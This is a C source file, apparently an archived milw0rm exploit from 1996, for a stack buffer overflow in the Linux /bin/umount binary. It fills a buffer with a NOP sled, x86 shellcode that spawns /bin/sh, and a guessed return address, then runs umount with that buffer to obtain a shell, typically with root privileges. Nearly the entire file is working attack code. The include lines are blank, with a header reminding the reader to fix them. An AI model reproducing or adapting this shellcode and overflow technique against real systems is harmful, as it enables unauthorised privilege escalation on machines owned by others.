63 lines
No EOL
1.3 KiB
C
63 lines
No EOL
1.3 KiB
C
/* Reminder - Be sure to fix the includes /str0ke */
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-------------------------------------- linux_umount_exploit.c ----------
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#include
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#include
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#include
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#include
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#include
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#include
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#define PATH_MOUNT "/bin/umount"
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#define BUFFER_SIZE 1024
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#define DEFAULT_OFFSET 50
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u_long get_esp()
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{
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__asm__("movl %esp, %eax");
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}
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main(int argc, char **argv)
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{
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u_char execshell[] =
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"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
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"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
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"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
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char *buff = NULL;
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unsigned long *addr_ptr = NULL;
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char *ptr = NULL;
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int i;
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int ofs = DEFAULT_OFFSET;
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buff = malloc(4096);
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if(!buff)
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{
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printf("can't allocate memory\n");
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exit(0);
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}
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ptr = buff;
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/* fill start of buffer with nops */
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memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
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ptr += BUFFER_SIZE-strlen(execshell);
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/* stick asm code into the buffer */
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for(i=0;i < strlen(execshell);i++)
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*(ptr++) = execshell[i];
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addr_ptr = (long *)ptr;
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for(i=0;i < (8/4);i++)
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*(addr_ptr++) = get_esp() + ofs;
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ptr = (char *)addr_ptr;
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*ptr = 0;
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(void)alarm((u_int)0);
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execl(PATH_MOUNT, "umount", buff, NULL);
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}
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// milw0rm.com [1996-08-13]
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